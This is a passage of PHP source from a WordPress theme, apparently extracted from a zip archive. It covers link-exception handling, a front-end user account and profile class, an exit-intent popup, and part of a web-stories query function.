		if ( null === $exclude_urls_arr ) {
			$exclude_urls = $this->opt( 'penci_linkmg_exceptions_eeurl' );
			$exclude_urls = str_replace( "\n", ',', $exclude_urls );

			if ( '' === trim( $exclude_urls ) ) {
				$exclude_urls_arr = array();
			} else {
				$exclude_urls_arr = explode( ',', $exclude_urls );
			}

			$exclude_urls_arr = array_filter( $exclude_urls_arr, function ( $url ) {
				return '' !== trim( $url );
			} );
		}

		foreach ( $exclude_urls_arr as $exclude_url ) {
			if ( false !== strpos( $url, $exclude_url ) ) {
				return true;
			}
		}

		return false;
	}

	protected function is_internal_url( $url ) {
		// all relative url's are internal
		if ( substr( $url, 0, 7 ) !== 'http://'
		     && substr( $url, 0, 8 ) !== 'https://'
		     && substr( $url, 0, 6 ) !== 'ftp://'
		     && substr( $url, 0, 2 ) !== '//' ) {
			return true;
		}

		// is internal
		$url_without_protocol = preg_replace( '#^http(s)?://#', '', home_url( '' ) );
		$clean_home_url       = preg_replace( '/^www\./', '', $url_without_protocol );

		if ( 0 === strpos( $url, 'http://' . $clean_home_url )
		     || 0 === strpos( $url, 'https://' . $clean_home_url )
		     || 0 === strpos( $url, 'http://www.' . $clean_home_url )
		     || 0 === strpos( $url, 'https://www.' . $clean_home_url )
		) {
			return true;
		}

		// check subdomains
		if ( $this->opt( 'penci_linkmg_exceptions_subdomain' ) && false !== strpos( $url, $this->get_domain() ) ) {
			return true;
		}

		return false;
	}

	protected function get_domain() {
		// should be using private property, but static is more practical
		static $domain_name = null;

		if ( null === $domain_name ) {
			preg_match(
				'/[a-z0-9\-]{1,63}\.[a-z\.]{2,6}$/'
				, parse_url( home_url(), PHP_URL_HOST )
				, $domain_tld
			);

			if ( count( $domain_tld ) > 0 ) {
				$domain_name = $domain_tld[0];
			} else {
				$domain_name = sanitize_text_field( $_SERVER['SERVER_NAME'] );
			}
		}

		return $domain_name;
	}

	protected function filter_penci_apply_settings() {
		if ( ! is_single() && ! is_page() ) {
			return true;
		}

		$current_post_id   = get_queried_object_id();
		$skip_post_ids     = $this->opt( 'penci_linkmg_exceptions_ids' );
		$skip_post_ids_arr = explode( ',', $skip_post_ids );

		foreach ( $skip_post_ids_arr as $post_id ) {
			if ( intval( $post_id ) === $current_post_id ) {
				return false;
			}
		}

		return true;
	}

	protected function penci_before_apply_link( Penci_Links_HTML $link ) {
		// ignore mailto links
		if ( $link->is_mailto() ) {
			$link->set_ignore();
		}

		// ignore WP Admin Bar Links
		if ( $link->has_attr_value( 'class', 'ab-item' ) ) {
			$link->set_ignore();
		}

		// ignore links containing ignored classes
		if ( $this->has_ignore_class( $link ) ) {
			$link->set_ignore();
		}
	}

	private function has_ignore_class( Penci_Links_HTML $link ) {
		$ignore_classes     = $this->opt( 'penci_linkmg_exceptions_class' );
		$ignore_classes_arr = explode( ',', $ignore_classes );

		foreach ( $ignore_classes_arr as $ignore_class ) {
			if ( $link->has_attr_value( 'class', trim( $ignore_class ) ) ) {
				return true;
			}
		}

		return false;
	}

	protected function penci_before_filter( $content ) {
		$ignore_tags = array( 'head', 'script' );


		foreach ( $ignore_tags as $tag_name ) {
			$content = preg_replace_callback(
				$this->get_tag_regexp( $tag_name )
				, [ $this, 'skip_tag' ]
				, $content
			);
		}

		return $content;
	}

	protected function penci_after_filter( $content ) {
		return $this->restore_content_placeholders( $content );
	}

	protected function get_tag_regexp( $tag_name ) {
		return '/<' . $tag_name . '[\s.*>|>](.*?)<\/' . $tag_name . '[\s+]*>/is';
	}

	protected function skip_tag( $matches ) {
		$skip_content = $matches[0];

		return $this->get_placeholder( $skip_content );
	}

	protected function get_placeholder( $placeholding_content ) {
		$placeholder                                = '<!--- PENCI PLACEHOLDER ' . count( $this->content_placeholders ) . ' --->';
		$this->content_placeholders[ $placeholder ] = $placeholding_content;

		return $placeholder;
	}

	protected function restore_content_placeholders( $content ) {
		foreach ( $this->content_placeholders as $placeholder => $placeholding_content ) {
			$content = str_replace( $placeholder, $placeholding_content, $content );
		}

		return $content;
	}
}

new Penci_Link_Options();PK     N\OSosA  sA    inc/user-profile.phpnu [        <?php

/**
 * Class Soledad Account Page
 */
class PenciUserProfile {
	private static $instance;

	private $endpoint;

	private $current_page;

	private $page_title;

	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	private function __construct() {

		if ( get_theme_mod( 'penci_disable_all_user_profiles' ) ) {
			return false;
		}

		add_action( 'after_setup_theme', function(){
			$this->setup_endpoint();
		});

		$this->setup_hook();

		add_action( 'init', function(){
			if ( !is_admin() ) {
				add_action( 'penci_account_main_content', array( $this, 'get_right_content' ) );
				add_action( 'penci_account_right_title', array( $this, 'get_right_title' ) );
			}
		});
	}

	protected function setup_hook() {
		if ( is_admin() ) {
			if ( get_theme_mod( 'limit_access_media', false ) ) {
				add_action( 'pre_get_posts', array( $this, 'users_own_attachments' ) );
				add_filter( 'ajax_query_attachments_args', array( $this, 'filter_user_media' ) );
				add_action( 'delete_attachment', array( $this, 'disable_delete_attachment' ) );
			}
		} else {
			add_action( 'wp_loaded', array( $this, 'form_handler' ), 20 );
			add_action( 'template_include', array( $this, 'add_page_template' ) );
			add_filter( 'document_title_parts', array( $this, 'account_title' ) );
		}
		add_action( 'init', array( $this, 'add_rewrite_rule' ) );
		add_action( 'after_switch_theme', array( $this, 'flush_rewrite_rules' ) );
		add_action( 'admin_init', array( $this, 'prevent_admin_access' ), 5 );
		add_filter( 'get_avatar', array( $this, 'user_avatar' ), 10, 6 );
		add_filter( 'get_avatar_url', array( $this, 'user_avatar_url' ), 10, 2 );
		add_filter( 'upload_mimes', array( $this, 'filter_mime_types' ) );
		add_action( 'admin_head-nav-menus.php', array( $this, 'add_nav_menu_meta_boxes' ) );


	}

	public function filter_mime_types( $mime_types ) {
		if ( $this->current_page === 'edit_account' ) {
			return array(
				'jpg|jpeg|jpe' => 'image/jpeg',
				'gif'          => 'image/gif',
				'png'          => 'image/png',
			);
		}

		return $mime_types;
	}

	public function load_script() {
		wp_enqueue_media();
	}

	protected function is_account_page( $wp ) {
		if ( is_user_logged_in() && ! is_admin() ) {
			if ( isset( $wp->query_vars[ $this->endpoint['account']['slug'] ] ) ) {
				add_action( 'wp_enqueue_scripts', array( $this, 'load_script' ) );

				return true;
			}
		}

		return false;
	}

	protected function is_login_page( $wp ) {
		if ( ! is_user_logged_in() && ! is_admin() ) {
			if ( isset( $wp->query_vars[ $this->endpoint['account']['slug'] ] ) ) {
				add_action( 'wp_enqueue_scripts', array( $this, 'load_script' ) );


				return true;
			}
		}

		return false;
	}

	protected function setup_endpoint() {
		$endpoint = array(
			'account'         => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_account_slug', 'account' ),
				'label' => 'my_account',
				'title' => penci_get_setting( 'penci_trans_my_account' ),
			),
			'edit_account'    => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_edit_account_slug', 'edit-account' ),
				'label' => 'edit_account',
				'title' => penci_get_setting( 'penci_trans_edit_account' ),
			),
			'change_password' => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_change_password_slug', 'change-password' ),
				'label' => 'change_password',
				'title' => penci_get_setting( 'penci_trans_change_password' ),
			),
			'like_posts'      => array(
				'slug'  => get_theme_mod( 'penci_frontend_submit_like_posts_slug', 'like-posts' ),
				'label' => 'change_password',
				'title' => penci_get_setting( 'penci_trans_like_posts' ),
			),
		);

		if ( get_theme_mod( 'penci_disable_user_profiles' ) ) {
			unset( $endpoint['edit_account'] );
			unset( $endpoint['change_password'] );
		}

		$this->endpoint = apply_filters( 'penci_account_page_endpoint', $endpoint );
	}

	protected function setup_current_page( $page ) {
		foreach ( $this->endpoint as $key => $value ) {
			if ( $page == $value['slug'] ) {
				$this->current_page = $key;
			}
		}
	}

	public function get_right_title() {
		if ( isset( $this->current_page ) ) {
			echo __( $this->endpoint[ $this->current_page ]['title'], 'soledad' );
		}
	}

	public function get_right_content() {
		if ( $this->current_page == 'edit_account' ) {
			load_template( PENCI_SOLEDAD_DIR . '/inc/templates/edit_account.php', true, $this->get_user_data() );
		} elseif ( $this->current_page == 'change_password' ) {
			load_template( PENCI_SOLEDAD_DIR . '/inc/templates/account_password.php', true, $this->get_user_data() );
		} elseif ( $this->current_page == 'like_posts' ) {
			load_template( PENCI_SOLEDAD_DIR . '/inc/templates/like_posts.php', true, $this->get_user_data() );
		}
	}

	public function add_rewrite_rule() {
		add_rewrite_endpoint( $this->endpoint['account']['slug'], EP_ROOT | EP_PAGES );
		add_rewrite_rule( '^' . $this->endpoint['account']['slug'] . '/page/?([0-9]{1,})/?$', 'index.php?&paged=$matches[1]&' . $this->endpoint['account']['slug'], 'top' );
	}

	public function flush_rewrite_rules() {
		$this->add_rewrite_rule();

		global $wp_rewrite;
		$wp_rewrite->flush_rules();
	}

	public function add_page_template( $template ) {
		global $wp;

		if ( $this->is_account_page( $wp ) ) {
			$query_vars = explode( '/', $wp->query_vars[ $this->endpoint['account']['slug'] ] );

			if ( ! empty( $query_vars[0] ) ) {
				$this->setup_current_page( $query_vars[0] );
			} else {
				wp_safe_redirect( esc_url( penci_home_url_multilang( $this->endpoint['account']['slug'] . '/' . $this->endpoint['edit_account']['slug'] ) ) );
			}

			if ( isset( $this->endpoint[ $this->current_page ]['title'] ) && $this->endpoint[ $this->current_page ]['title'] ) {
				$this->page_title = $this->endpoint[ $this->current_page ]['title'];
			}

			$template = PENCI_SOLEDAD_DIR . '/inc/templates/account.php';
		} else if ( $this->is_login_page( $wp ) ) {
			$this->page_title = penci_get_setting( 'penci_plogin_label_log_in' );

			if ( class_exists( 'WooCommerce' ) ) {
				$myaccount_page = get_option( 'woocommerce_myaccount_page_id' );
				if ( $myaccount_page ) {
					wp_safe_redirect( get_permalink( $myaccount_page ) );
				}

			} else {
				wp_safe_redirect( esc_url( home_url( '/' ) ) );
			}
		}

		return $template;
	}

	public function account_title( $title ) {
		global $wp;
		$split      = $title;
		$additional = '';

		if ( isset( $this->page_title ) ) {
			$additional = $this->page_title;
		}

		$additional = apply_filters( 'penci_account_title', $additional, $wp, $this->endpoint );

		global $wp_query;
		$split['title'] = isset( $wp_query->queried_object->post_title );

		if ( ! empty( $additional ) ) {
			$title['title'] = $additional . ' ' . $split['title'];
		}

		return $title;
	}

	public function user_avatar_url( $url, $id_or_email ) {
		$profile_picture = get_the_author_meta( 'profile_picture', $id_or_email );

		if ( $profile_picture ) {
			$image = wp_get_attachment_image_src( $profile_picture, 'penci-thumb' );

			if ( ! empty( $image ) ) {
				$url = $image[0];
			}
		}

		return $url;
	}

	public function user_avatar( $avatar, $user_id, $size, $default, $alt, $args ) {
		$profile_picture = get_the_author_meta( 'profile_picture', $user_id );

		if ( $profile_picture ) {
			$image = wp_get_attachment_image_src( $profile_picture, 'penci-thumb' );

			$class = array( 'avatar', 'avatar-' . (int) $args['size'], 'photo' );

			if ( ! $args['found_avatar'] || $args['force_default'] ) {
				$class[] = 'avatar-default';
			}

			if ( $args['class'] ) {
				if ( is_array( $args['class'] ) ) {
					$class = array_merge( $class, $args['class'] );
				} else {
					$class[] = $args['class'];
				}
			}

			if ( ! empty( $image ) ) {

				$avatar = sprintf(
					"<img alt='%s' src='%s' srcset='%s' class='%s' height='%d' width='%d' %s/>",
					esc_attr( $args['alt'] ),
					esc_url( $image[0] ),
					esc_attr( "$image[0] 2x" ),
					esc_attr( join( ' ', $class ) ),
					(int) $args['height'],
					(int) $args['width'],
					$args['extra_attr']
				);
			}
		}

		return $avatar;
	}

	protected function user_social_info() {
		$socials = array(
			"facebook"   => __( 'Facebook', 'soledad' ),
			"twitter"    => __( 'Twitter', 'soledad' ),
			"linkedin"   => __( 'Linkedin', 'soledad' ),
			"pinterest"  => __( 'Pinterest', 'soledad' ),
			"behance"    => __( 'Behance', 'soledad' ),
			"github"     => __( 'Github', 'soledad' ),
			"flickr"     => __( 'Flickr', 'soledad' ),
			"tumblr"     => __( 'Tumblr', 'soledad' ),
			"dribbble"   => __( 'Dribbble', 'soledad' ),
			"soundcloud" => __( 'Soundcloud', 'soledad' ),
			"instagram"  => __( 'Instagram', 'soledad' ),
			"vimeo"      => __( 'Vimeo', 'soledad' ),
			"youtube"    => __( 'Youtube', 'soledad' ),
			"reddit"     => __( 'Reddit', 'soledad' ),
			"vk"         => __( 'Vk', 'soledad' ),
			"weibo"      => __( 'Weibo', 'soledad' ),
			"rss"        => __( 'Rss', 'soledad' ),
			"twitch"     => __( 'Twitch', 'soledad' ),
			"url"        => __( 'Website', 'soledad' ),
		);

		if ( defined( 'PENCI_PAY_WRITER' ) ) {
			$socials['paypal_account'] = __( 'Paypal Email', 'soledad' );
		}

		return $socials;
	}

	protected function get_user_data() {
		$user_id = get_current_user_id();

		$user = array(
			'user_firstname' => trim( get_the_author_meta( 'user_firstname', $user_id ) ),
			'user_lastname'  => trim( get_the_author_meta( 'user_lastname', $user_id ) ),
			'description'    => get_the_author_meta( 'description', $user_id ),
			'photo'          => array( get_avatar_url( $user_id ) )
		);

		foreach ( $this->user_social_info() as $key => $value ) {
			$user['socials'][ $key ] = array(
				'label' => $value,
				'value' => trim( get_the_author_meta( $key, $user_id ) )
			);
		}

		return $user;
	}

	public function form_handler() {
		if ( isset( $_POST['penci-action'] ) && ! empty( $_POST['penci-account-nonce'] ) && wp_verify_nonce( $_POST['penci-account-nonce'], 'penci-account-nonce' ) ) {
			$action = sanitize_key( $_POST['penci-action'] );

			switch ( $action ) {
				case 'edit-account':
					$this->edit_account_handler();
					break;
				case 'change-password':
					$this->edit_password_handler();
					break;
			}
		}
	}

	protected function edit_account_handler() {
		$user_id      = get_current_user_id();
		$first_name   = '';
		$last_name    = '';
		$display_name = '';

		try {

			if ( ! empty( $_POST['fname'] ) ) {
				$first_name = sanitize_text_field( $_POST['fname'] );
			} else {
				throw new \Exception( __( 'First name should not be empty', 'soledad' ) );
			}

			if ( ! empty( $_POST['lname'] ) ) {
				$last_name = sanitize_text_field( $_POST['lname'] );
			}

			if ( ! empty( $_POST['dname'] ) ) {
				$display_name = sanitize_text_field( $_POST['dname'] );
			}

			do_action( 'penci_account_page_on_save' );

			$url         = sanitize_text_field( $_POST['url'] );
			$description = wp_kses_post( $_POST['description'] );

			wp_update_user( array(
				'ID'           => $user_id,
				'first_name'   => $first_name,
				'last_name'    => $last_name,
				'display_name' => $display_name,
				'description'  => $description,
				'user_url'     => $url,
			) );

			foreach ( $this->user_social_info() as $key => $value ) {
				update_user_meta( $user_id, $key, sanitize_text_field( $_POST[ $key ] ) );
			}

			if ( isset( $_POST['photo'][0] ) && '' != $_POST['photo'][0] ) {
				update_user_meta( $user_id, 'profile_picture', sanitize_text_field( $_POST['photo'][0] ) );
			} else {
				delete_user_meta( $user_id, 'profile_picture' );
			}

			$_POST['success-message'] = penci_get_setting( 'penci_trans_update_notice' );

		} catch ( \Exception $e ) {
			$_POST['error-message'] = $e->getMessage();
		}
	}

	protected function edit_password_handler() {
		$user_id = get_current_user_id();
		$user    = get_userdata( $user_id );

		try {

			if ( ! empty( $_POST['old_password'] ) ) {
				if ( ! wp_check_password( $_POST['old_password'], $user->data->user_pass, $user_id ) ) {
					throw new \Exception( penci_get_setting( 'penci_trans_password_not_valid' ) );
				}

				if ( empty( $_POST['new_password'] ) || empty( $_POST['confirm_password'] ) ) {
					throw new \Exception( penci_get_setting( 'penci_trans_password_new' ) );
				}

				if ( $_POST['new_password'] !== $_POST['confirm_password'] ) {
					throw new \Exception( penci_get_setting( 'penci_trans_password_match' ) );
				}

				$this->do_reset_password( $user, $_POST['new_password'] );

				$_POST['success-message'] = penci_get_setting( 'penci_trans_password_success' );
			} else {
				throw new \Exception( penci_get_setting( 'penci_trans_password_e' ) );
			}
		} catch ( \Exception $e ) {
			$_POST['error-message'] = $e->getMessage();
		}
	}

	protected function do_reset_password( $user, $new_pass ) {
		do_action( 'password_reset', $user, $new_pass );

		wp_set_password( $new_pass, $user->ID );

		wp_password_change_notification( $user );
	}

	public function users_own_attachments( $wp_query ) {
		if ( $wp_query->is_main_query() ) {
			global $pagenow;

			if ( 'upload.php' === $pagenow || 'media-upload.php' === $pagenow ) {
				if ( ! current_user_can( 'manage_options' ) ) {
					$wp_query->set( 'author', get_current_user_id() );
				}
			}
		}
	}

	public function filter_user_media( $query ) {
		if ( ! ( current_user_can( 'manage_options' ) ) ) {
			$query['author'] = get_current_user_id();
		}

		return $query;
	}

	public function disable_delete_attachment() {
		if ( ! current_user_can( 'manage_options' ) ) {
			exit();
		}
	}

	public function prevent_admin_access() {
		$prevent_access = ! ( defined( 'DOING_AJAX' ) && DOING_AJAX ) && ! current_user_can( 'edit_posts' ) && ! current_user_can( 'edit_pages' ) && $this->admin_post_action() ? true : false;

		if ( $prevent_access ) {
			wp_safe_redirect( esc_url( penci_home_url_multilang( '/' ) ) );
			exit;
		}
	}

	public function admin_post_action() {
		if ( strpos( $_SERVER['REQUEST_URI'], 'admin-post.php' ) !== false ) {
			return false;
		}
	}

	public function add_nav_menu_meta_boxes() {
		add_meta_box( 'penci_endpoints_nav_link', __( 'Penci Account Pages', 'soledad' ), array(
			$this,
			'nav_menu_links'
		), 'nav-menus', 'side', 'low' );
	}

	/**
	 * Output menu links.
	 */
	public function nav_menu_links() {
		// Get items from account menu.
		$endpoints = $this->endpoint;
		?>
        <div id="posttype-pcft-endpoints" class="posttypediv">
            <div id="tabs-panel-pcft-endpoints" class="tabs-panel tabs-panel-active">
                <ul id="pcft-endpoints-checklist" class="categorychecklist form-no-clear">
					<?php
					$loop_index = 999999;
					$items      = [];
					foreach ( array_slice( $endpoints, 1 ) as $key => $value ) :

						$item_url = 'editor' == $value['slug'] ? esc_url( home_url( '/' ) . $value['slug'] ) : esc_url( home_url( '/' ) . $endpoints['account']['slug'] . '/' . $value['slug'] );

						$item = new stdClass();
						$loop_index ++;
						$item->object_id        = $loop_index;
						$item->db_id            = 0;
						$item->object           = 'post_type_link';
						$item->menu_item_parent = 0;
						$item->type             = 'custom';
						$item->title            = $value['title'];
						$item->url              = $item_url;
						$item->target           = '';
						$item->attr_title       = '';
						$item->classes          = array();
						$item->xfn              = '';
						$items[]                = $item;
					endforeach;
					$walker = new Walker_Nav_Menu_Checklist( array() );
					echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $items ), 0, (object) array( 'walker' => $walker ) );
					?>
                </ul>
            </div>
            <p class="button-controls">
				<span class="list-controls">
					<a href="<?php echo esc_url( admin_url( 'nav-menus.php?page-tab=all&selectall=1#posttype-pcft-endpoints' ) ); ?>"
                       class="select-all"><?php esc_html_e( 'Select all', 'soledad' ); ?></a>
				</span>
                <span class="add-to-menu">
					<button type="submit" class="button-secondary submit-add-to-menu right"
                            value="<?php esc_attr_e( 'Add to menu', 'soledad' ); ?>"
                            name="add-post-type-menu-item"
                            id="submit-posttype-pcft-endpoints"><?php esc_html_e( 'Add to menu', 'soledad' ); ?></button>
					<span class="spinner"></span>
				</span>
            </p>
        </div>
		<?php
	}

	public function get_endpoint() {
		return $this->endpoint;
	}

	public function get_current_page() {
		return $this->endpoint[ $this->current_page ]['slug'];
	}
}

PenciUserProfile::getInstance();PK     N\#U"      inc/exit_intent.phpnu [        <?php
class PenciExitIntentPopup {
    function __construct() {

        if ( ! get_theme_mod( 'penci_epopup_enable' ) ) {
            return;
        }

        add_action( 'wp_footer', [ $this, 'popup_content' ] );
        add_action( 'wp_enqueue_scripts', [ $this, 'popup_assets' ] );
        add_action( 'soledad_theme/custom_css', [ $this, 'popup_style' ] );
    }

    public function popup_assets() {
        wp_enqueue_script('penci-epopup', PENCI_SOLEDAD_URL . '/js/exit.js', array('jquery'), PENCI_SOLEDAD_VERSION, true);
    }

    public function popup_content() {

		$popup_render_content = $class = '';

		$popup_content = get_theme_mod( 'penci_epopup_html_content' );
		$popup_block   = get_theme_mod( 'penci_epopup_block' );

		if ( $popup_block == '' && $popup_content ) {
			
			$popup_render_content = do_shortcode( $popup_content );
			$class                = 'normal-content';
			
		} elseif ( $popup_block ) {
			$popup_block_id = get_page_by_path( $popup_block, OBJECT, 'penci-block' )->ID;
			$class          = 'block-content';
			if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
				$popup_render_content .= penci_get_elementor_content( $popup_block_id );
			} else {
				$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

				$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

				$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$popup_render_content .= $shortcodes_custom_css;
				}
				$popup_render_content .= '</style>';
			}
		}

		if ( $popup_render_content ) {
			$animation = get_theme_mod( 'penci_epopup_animation', 'move-to-top' );
			echo '<div class="mfp-with-anim penci-epopup-content ' . $class . ' ' . $animation . '">' . $popup_render_content . '</div>';
			wp_reset_postdata();
		}
	}

    public function popup_style() {

		$popup_bgimg       = get_theme_mod( 'penci_epopup_bgimg' );
		$popup_bgcl        = get_theme_mod( 'penci_epopup_bgcolor' );
		$popup_bgrepeat    = get_theme_mod( 'penci_epopup_bgrepeat' );
		$popup_bgposition  = get_theme_mod( 'penci_epopup_bgposition' );
		$popup_bgsize      = get_theme_mod( 'penci_epopup_bgsize' );
		$popup_bgscroll    = get_theme_mod( 'penci_epopup_bgscroll' );
		$popup_mw          = get_theme_mod( 'penci_epopup_width_mobile' );
		$popup_w           = get_theme_mod( 'penci_epopup_width_desktop' );
		$popup_cl          = get_theme_mod( 'penci_epopup_txtcolor' );
		$popup_tsize       = get_theme_mod( 'penci_epopup_txt_size' );
		$popup_tmsize      = get_theme_mod( 'penci_epopup_txt_msize' );
		$popup_spacing     = get_theme_mod( 'penci_epopup_spacing' );
		$popup_bordercolor = get_theme_mod( 'penci_epopup_bordercolor' );

		echo '.penci-epopup-content{';
		if ( $popup_bgimg ) {
			echo 'background-image:url("' . esc_url( $popup_bgimg ) . '");';
		}
		if ( $popup_bgcl ) {
			echo 'background-color:' . esc_attr( $popup_bgcl ) . ';';
		}
		if ( $popup_bgrepeat ) {
			echo 'background-repeat:' . esc_attr( $popup_bgrepeat ) . ';';
		}
		if ( $popup_bgposition ) {
			echo 'background-position:' . esc_attr( $popup_bgposition ) . ';';
		}
		if ( $popup_bgsize ) {
			echo 'background-size:' . esc_attr( $popup_bgsize ) . ';';
		}
		if ( $popup_bgscroll ) {
			echo 'background-scroll:' . esc_attr( $popup_bgscroll ) . ';';
		}
		if ( $popup_w ) {
			echo 'max-width:' . esc_attr( $popup_w ) . 'px;';
		}
		if ( $popup_cl ) {
			echo 'color:' . esc_attr( $popup_cl ) . ';';
		}
		if ( $popup_tsize ) {
			echo 'font-size:' . esc_attr( $popup_tsize ) . 'px;';
		}
		if ( $popup_bordercolor ) {
			echo 'border-color:' . esc_attr( $popup_bordercolor ) . ';';
			echo 'border-style: solid;';
		}
		if ( $popup_spacing ) {
			echo $this->penci_spacing_extract_data( $popup_spacing );
		}
		echo '}';

		$popup_close_cl = get_theme_mod( 'penci_epopup_closecolor' );

		if ( $popup_close_cl ) {
			echo '.mfp-close-btn-in .penci-popup-content .mfp-close{';
			echo 'color:' . esc_attr( $popup_close_cl ) . ';';
			echo '}';
		}


		echo '@media only screen and (max-width:767px){.penci-popup-content{';
		if ( $popup_tmsize ) {
			echo 'font-size:' . esc_attr( $popup_tmsize ) . 'px;';
		}
		if ( $popup_mw ) {
			echo 'max-width:' . esc_attr( $popup_mw ) . 'px;';
		}
		echo '}}';

	}

	public function penci_spacing_extract_data( $number = '', $out = '' ) {
		$mpb = explode( ',', $number );
		if ( isset( $mpb[0] ) && is_numeric( $mpb[0] ) ) {
			$out .= 'padding-top:' . esc_attr( $mpb[0] ) . 'px;';
		}
		if ( isset( $mpb[1] ) && is_numeric( $mpb[1] ) ) {
			$out .= 'padding-right:' . esc_attr( $mpb[1] ) . 'px;';
		}
		if ( isset( $mpb[2] ) && is_numeric( $mpb[2] ) ) {
			$out .= 'padding-bottom:' . esc_attr( $mpb[2] ) . 'px;';
		}
		if ( isset( $mpb[3] ) && is_numeric( $mpb[3] ) ) {
			$out .= 'padding-left:' . esc_attr( $mpb[3] ) . 'px;';
		}

		if ( isset( $mpb[4] ) && is_numeric( $mpb[4] ) ) {
			$out .= 'border-top-width:' . esc_attr( $mpb[4] ) . 'px;';
		}
		if ( isset( $mpb[5] ) && is_numeric( $mpb[5] ) ) {
			$out .= 'border-right-width:' . esc_attr( $mpb[5] ) . 'px;';
		}
		if ( isset( $mpb[6] ) && is_numeric( $mpb[6] ) ) {
			$out .= 'border-bottom-width:' . esc_attr( $mpb[6] ) . 'px;';
		}
		if ( isset( $mpb[7] ) && is_numeric( $mpb[7] ) ) {
			$out .= 'border-left-width:' . esc_attr( $mpb[7] ) . 'px;';
		}

		if ( isset( $mpb[8] ) && is_numeric( $mpb[8] ) ) {
			$out .= 'border-top-left-radius:' . esc_attr( $mpb[8] ) . 'px;';
		}
		if ( isset( $mpb[9] ) && is_numeric( $mpb[9] ) ) {
			$out .= 'border-top-right-radius:' . esc_attr( $mpb[9] ) . 'px;';
		}
		if ( isset( $mpb[10] ) && is_numeric( $mpb[10] ) ) {
			$out .= 'border-bottom-right-radius:' . esc_attr( $mpb[10] ) . 'px;';
		}
		if ( isset( $mpb[11] ) && is_numeric( $mpb[11] ) ) {
			$out .= 'border-bottom-left-radius:' . esc_attr( $mpb[11] ) . 'px;';
		}

		return $out;
	}
}

$exit_intent_popup = new PenciExitIntentPopup();PK     N\A9#  9#    inc/web-stories.phpnu [        <?php
if ( ! function_exists( 'penci_webstories' ) ) {
	function penci_webstories( $settings = [] ) {

		$default = [
			'id'                 => '',
			'layout'             => 'grid',
			'mobile_one_row'     => 'yes',
			'shownav'            => '',
			'showdots'           => '',
			'autoplay'           => '',
			'auto_time'          => '',
			'speed'              => '',
			'loop'               => '',
			'query_type'         => 'all',
			'story_cat'          => '',
			'story_tag'          => '',
			'story_ids'          => '',
			'ex_story_cat'       => '',
			'ex_story_tag'       => '',
			'ex_story_ids'       => '',
			'showtitle'          => '',
			'nextprev'           => '',
			'pos'                => '',
			'imgsize'            => 'post-thumbnail',
			'lazyload'           => '',
			'columns'            => [ 'size' => 4 ],
			'columns_tablet'     => [ 'size' => 4 ],
			'columns_mobile'     => [ 'size' => 4 ],
			'ajax_loading_style' => 'df'
		];

		$settings = wp_parse_args( $settings, $default );

		$count     = 0;
		$class     = [];
		$data_attr = [];

		$class[] = $settings['layout'];

		if ( $settings['layout'] == 'onerow' ) {
			$class[] = 'one-row';
		}

		if ( $settings['layout'] == 'slider' ) {
			$class[] = 'penci-owl-carousel penci-owl-carousel-slider swiper';

			$data_next_prev = 'yes' == $settings['shownav'] ? 'true' : 'false';
			$data_dots      = 'yes' == $settings['showdots'] ? 'true' : 'false';
			$data_attr[]    = 'data-height="false"';
			$data_attr[]    = 'data-dots="' . $data_dots . '" data-nav="' . $data_next_prev . '"';
			$data_attr[]    = 'data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_attr[]    = 'data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
			$data_attr[]    = 'data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '600' ) . '"';
			$data_attr[]    = 'data-loop="' . ( 'yes' == $settings['loop'] ? 'true' : 'false' ) . '"';
			$data_attr[]    = 'data-item="' . ( isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 6 ) . '"';
			$data_attr[]    = 'data-desktop="' . ( isset( $settings['columns']['size'] ) ? $settings['columns']['size'] : 6 ) . '"';
			$data_attr[]    = 'data-tablet="' . ( isset( $settings['columns_tablet']['size'] ) ? $settings['columns_tablet']['size'] : 6 ) . '"';
			$data_attr[]    = 'data-mobile="' . ( isset( $settings['columns_mobile']['size'] ) ? $settings['columns_mobile']['size'] : 2 ) . '"';
		}

		$data_attr = ! empty( $data_attr ) ? ' ' . implode( ' ', $data_attr ) : '';

		$agrs = [
			'post_type'      => 'web-story',
			'orderby'        => $settings['orderby'],
			'order'          => $settings['order'],
			'posts_per_page' => $settings['number'],
			'offset'         => $settings['offset'],
		];

		if ( $settings['query_type'] == 'custom' ) {
			$agrs['post__in'] = is_array( $settings['story_ids'] ) ? $settings['story_ids'] : explode( ',', $settings['story_ids'] );
		} else {
			if ( $settings['story_cat'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'web_story_category',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['story_cat'] ) ? $settings['story_cat'] : explode( ',', $settings['story_cat'] ),
				];
			}
			if ( $settings['story_tag'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'web_story_tag',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['story_tag'] ) ? $settings['story_tag'] : explode( ',', $settings['story_tag'] ),
				];
			}
			if ( $settings['ex_story_cat'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'web_story_category',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['ex_story_cat'] ) ? $settings['ex_story_cat'] : explode( ',', $settings['ex_story_cat'] ),
					'operator' => 'NOT IN',
				];
			}
			if ( $settings['ex_story_tag'] ) {
				$agrs['tax_query'][] = [
					'taxonomy' => 'ex_story_tag',
					'field'    => 'term_id',
					'terms'    => is_array( $settings['ex_story_tag'] ) ? $settings['ex_story_tag'] : explode( ',', $settings['ex_story_tag'] ),
					'operator' => 'NOT IN',
				];
			}
			if ( $settings['ex_story_ids'] ) {
				$agrs['post__not_in'] = is_array( $settings['ex_story_ids'] ) ? $settings['ex_story_ids'] : explode( ',', $settings['ex_story_ids'] );
			}
		}

